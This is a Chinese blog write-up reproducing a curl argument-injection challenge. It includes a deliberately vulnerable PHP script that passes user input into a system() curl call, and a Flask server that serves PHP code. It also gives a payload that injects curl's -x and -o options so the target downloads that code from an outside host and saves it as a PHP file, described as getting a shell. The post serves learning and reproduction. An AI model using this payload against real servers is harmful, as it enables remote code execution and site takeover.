bash curl参数注入题目
昨天在星球里,见到P神的题目的答案。研究了一下,顺便复现一下因此有了这篇博文
昂热并不太相信诅咒这种东西,他是那种要斩破命运的男人,
可当他觉察到上杉越和源稚生可能是父子的时候,还是觉得被某种类似命运的东西击中了
环境
<?php
if($_GET['name']){
$name=$_GET['name'];
$command="curl http://127.0.0.1/test.php?jack=$name";
echo $command."<br>";
system($command);
}elseif($_GET['jack']){
echo $_GET['jack'];
}else{
echo "Not GET name";
}
?>
复现过程
request Testing
尝试直接注入命令是不行的
curl http://127.0.0.1/test.php?jack=$name 的时候
执行的时候被当做url了,就是:http://127.0.0.1/test.php?jack=1&&whoami
所以是没有办法直接注入命令然后执行的
但是当curl ”http://127.0.0.1/test.php?jack=$name“ 明确的标明了url,就可以直接注入命令
这时只能通过命令本身的方法来进行操控,通过使用页面下载和代理的方法可以getshell
使用flask创建个Server
from flask import Flask
from werkzeug.routing import BaseConverter
class RegexConverter(BaseConverter):
def __init__(self, map, *args):
self.map = map
self.regex = args[0]
app = Flask(__name__)
app.url_map.converters['regex'] = RegexConverter
@app.route('/<regex(".*"):url>')
def index(url):
return "<?php phpinfo();?>"
if __name__ == '__main__':
app.run(host='0.0.0.0')
curl -x 说明
payload:
http://192.168.241.174/test.php?name=phpinfo%20-x%20http://192.168.1.106:5000/%20-o%20jack.php
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:bash curl参数注入题目
本文作者:九世
发布时间:2020-05-01, 12:42:48
最后更新:2020-05-01, 13:02:24
原始链接:http://jiushill.github.io/posts/409da64c.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。